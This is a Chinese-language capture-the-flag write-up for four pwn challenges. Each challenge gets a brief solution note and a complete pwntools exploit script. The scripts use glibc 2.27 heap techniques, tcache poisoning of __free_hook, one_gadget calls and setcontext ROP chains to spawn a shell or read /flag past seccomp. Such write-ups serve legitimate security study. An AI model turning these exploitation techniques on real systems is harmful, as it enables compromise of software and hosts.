Pwn challenges, including game, pwny, lonelywolf, silverwolf
Prologue
只要到了部分题这两天做了下希望还能跟上现在CTF比赛的节奏。
整体就思路上的难度不大,但是Seccomp为啥要出两题…
Pwny
Solution
题目逻辑很少,一个是Read一个是Write,Read因为地址是随机的所以不能用,只能看看Write,发现目标地址在bss上而且,urand的文件描述符也在bss上所以可以write覆盖为随机值,之后再次write会往上面写\0,之后就可以 read/write arbitrary addr
了。
Exploit
from pwn import *
def cmd(c):
p.sendlineafter(": ",str(c))
def r(idx):
cmd(1)
p.sendafter(": ",p64(idx))
def w(idx):
cmd(2)
p.sendlineafter(": ",str(idx))
def do(idx,value):
cmd(2)
p.sendlineafter(": ",str(idx))
p.send(p64(value))
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
w(0x100)
w(0x100)
r(0x10000000000000000-4)
p.readuntil(": ")
base=int(p.readline(),16)-(0x00007ffff7dd0680-0x7ffff79e4000)
log.warning(hex(base))
r(0x10000000000000000-11)
p.readuntil(": ")
pie=int(p.readline(),16)-(8)
log.warning(hex(pie))
# double hook
libc=ELF("./libc-2.27.so")
libc.address=base
off=(libc.sym['__malloc_hook'])-(pie+0x60)
off=off//8
do(off,2+libc.sym['realloc'])
off=(libc.sym['__malloc_hook']-8)-(pie+0x60)
off=off//8
do(off,0x10a41c+base)
cmd("1"*4097)
p.interactive()
Lonelywolf
Solution
这个libc-2.27都变成这样我是没想到的,给的libc居然有key,我去试了一下发目前版本的ubuntu18.04的libc更新了是有key的,具体的 2.27-3ubuntu1.2
之后的我都发现了key,2.27-3ubuntu1
没有key机制。
不过绕过也很简单直接edit掉就行。
Exploit
from pwn import *
def cmd(c):
p.sendlineafter(": ",str(c))
def add(size,c='A'):
cmd(1)
cmd(0)
cmd(size)
def edit(c):
cmd(2)
cmd(0)
p.sendlineafter(": ",str(c))
def show():
cmd(3)
cmd(0)
def free():
cmd(4)
cmd(0)
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
add(0x68)
for x in range(8):
free()
edit("\0"*0x10)
add(0x78)
for x in range(8):
free()
edit("\0"*0x10)
add(0x18)
free()
# FS finished
cmd("1"*4097)
add(0x68)
show()
p.readuntil(": ")
base=u64(p.readline()[:-1]+'\0\0')-(0x7ffff7dcfd80-0x00007ffff79e4000)
log.warning(hex(base))
# Leak finished
add(0x78)
libc=ELF("./libc-2.27.so")
libc.address=base
free()
edit(p64(libc.sym['__free_hook']-8))
add(0x78)
add(0x78)
edit("/bin/sh\0"+p64(0x4f550+base))
free()
p.interactive()
Silverwolf
Solution
这题和上面的一毛一样,只是多了个seccomp只允许ORW
那就改 __free_hook
为 setcontext+0x35
,之后rop完成ORW
Exploit
from pwn import *
def cmd(c):
p.sendlineafter(": ",str(c))
def add(size,c='A'):
cmd(1)
cmd(0)
cmd(size)
def edit(c):
cmd(2)
cmd(0)
p.sendlineafter(": ",(c))
def show():
cmd(3)
cmd(0)
def free():
cmd(4)
cmd(0)
context.log_level='debug'
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
cmd("1"*4097)
for x in range(7):
add(0x18)
add(0x18)
show()
p.readuntil(": ")
base=u64(p.readline()[:-1]+'\0\0')-(4111536)
libc=ELF("./libc-2.27.so")
libc.address=base
# Set FS
add(0x78)
free()
edit(p64(libc.sym['__free_hook']+0x68))
add(0x78)
add(0x78)
# Two parts:
# One for __free_hook & __free_hook+8
# Two for the parameter of free which is also the parameter of setcontext
######################Part1################################
context.arch='amd64'
sys=libc.sym["getpid"]+5
leave=libc.sym['strfromf128']-0x51d
# RSP -> gadget of 'leave ret'
# Set __free_hook+8 ->leave is a good choice
rsp=libc.sym['__free_hook']+8
rdi=0
rsi=0x200+libc.sym['__free_hook']
rdx=0x200
rbp=rsi-8
rcx=sys
setcontext='\0'*0x68+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])#len=22*8
######################Part2################################
rax=base+0x0000000000043ae8
rdi=base+0x00000000000215bf
rsi=base+0x0000000000023eea
rdx=base+0x0000000000001b96
filename_addr=libc.sym['__free_hook']+0x200+23*8
buf=libc.sym['__free_hook']+0x100
payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys])
payload += flat([rax,0,rdi,3,rsi,buf,rdx,0x50,sys])
payload += flat([rax,1,rdi,1,sys])+'/flag\0'
edit(setcontext[0x68:])
add(0x58)
free()
edit(p64(libc.sym['__free_hook']))
add(0x58)
add(0x58)
edit(p64(libc.sym['setcontext']+0x35)+p64(leave))
log.warning(hex(base))
free()
p.send(payload)
p.interactive()
Game
Solution
主要是逆向的工作,是一个可以创建地图和玩家的游戏,玩家可以在地图上走来走去,可以越界。发现是一个堆溢出+一个泄漏。不过还有seccomp依然和上题一样的绕过方法。
Exploit
from pwn import *
pay=''
def cmd():
global pay
p.readuntil("cmd> ")
p.send(pay)
def des(c):
p.readuntil("desc> ")
p.send(c)
def reset(index,x_pos,y_pos):
global pay
for x in range(x_pos):
pay="id:{}\nop:{}\n\n".format(index,7)
cmd()
for x in range(y_pos):
pay="id:{}\nop:{}\n\n".format(index,5)
cmd()
def atk(id):
global pay
pay="id:{}\nop:{}\n\n".format(id,8)
cmd()
def set_byte(id,offset):
global pay,heap
pay="id:{}\ns:{}\nop:2\n\n".format(id,0x18)
cmd()
des("{}".format("A"))
pay="op:4\n\n"
cmd()
p.readuntil("(")
x_pos=int(p.readuntil(",")[:-1])
y_pos=int(p.readuntil(") ")[:-2])
if(id==0x91):
heap=u64(p.readline()[:-1]+'\0\0')
log.warning(hex(heap))
reset(id,x_pos,y_pos)
for x in range(0x50+offset):
atk(id)
context.arch='amd64'
context.log_level='debug'
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
pay="""l:16\nw:4\nop:1\n\n"""
cmd()
for x in range(1,9):
pay="""id:{}\ns:136\nop:2\n\n""".format(x)
cmd()
des("{}".format(x))
for x in range(1,9):
pay="id:{}\nop:3\n\n".format(x)
cmd()
for x in range(1,3):
pay="id:{}\ns:88\nop:2\n\n".format(x)
cmd()
des("{}".format(x))
pay="op:4\n\n"
cmd()
p.readuntil(") ")
base=u64(p.readline()[:-1]+'\0\0')-(0x7ffff7b88d32-0x00007ffff779d000)
log.warning(hex(base))
for x in range(1,3):
pay="id:{}\nop:3\n\n".format(x)
cmd()
#Clear
libc=ELF("./libc-2.27.so")
libc.address=base
heap=0
#set fd
hook=libc.sym['__free_hook']
slt=[]
log.warning(hex(hook))
for x in range(6):
slt.append(hook&0xff)
hook=hook>>8
#context.log_level='debug'
for x in range(6):
set_byte(slt[5-x],5-x)
print(x)
set_byte(0x91,-8)
leave=libc.sym['strfromf128']-0x51d
for x in range(8):
pay="id:{}\ns:{}\nop:2\n\n".format(x+10,0x88)
cmd()
des("{}".format(p64(0x52145+base)+p64(leave)))
pay="id:{}\ns:{}\nop:2\n\n".format(0x69,0x200)
cmd()
sys=libc.sym["getpid"]+5
rdi=0
rsi=0x200+libc.sym['__free_hook']
rdx=0x200
rbp=rsi-8
rsp=libc.sym['__free_hook']+0x8
rcx=sys
setcontext='\0'*0x68+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])
des(setcontext)
rax=base+0x0000000000043a78
rdi=base+0x000000000002155f
rsi=base+0x0000000000023e8a
rdx=base+0x0000000000001b96
filename_addr=libc.sym['__free_hook']+0x200+23*8
buf=libc.sym['__free_hook']+0x100
payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys])
payload += flat([rax,0,rdi,3,rsi,buf,rdx,0x50,sys])
payload += flat([rax,1,rdi,1,sys])+'/flag\0'
pay='id:{}\nop:3\n\n'.format(0x69)
cmd()
p.send(payload)
p.interactive()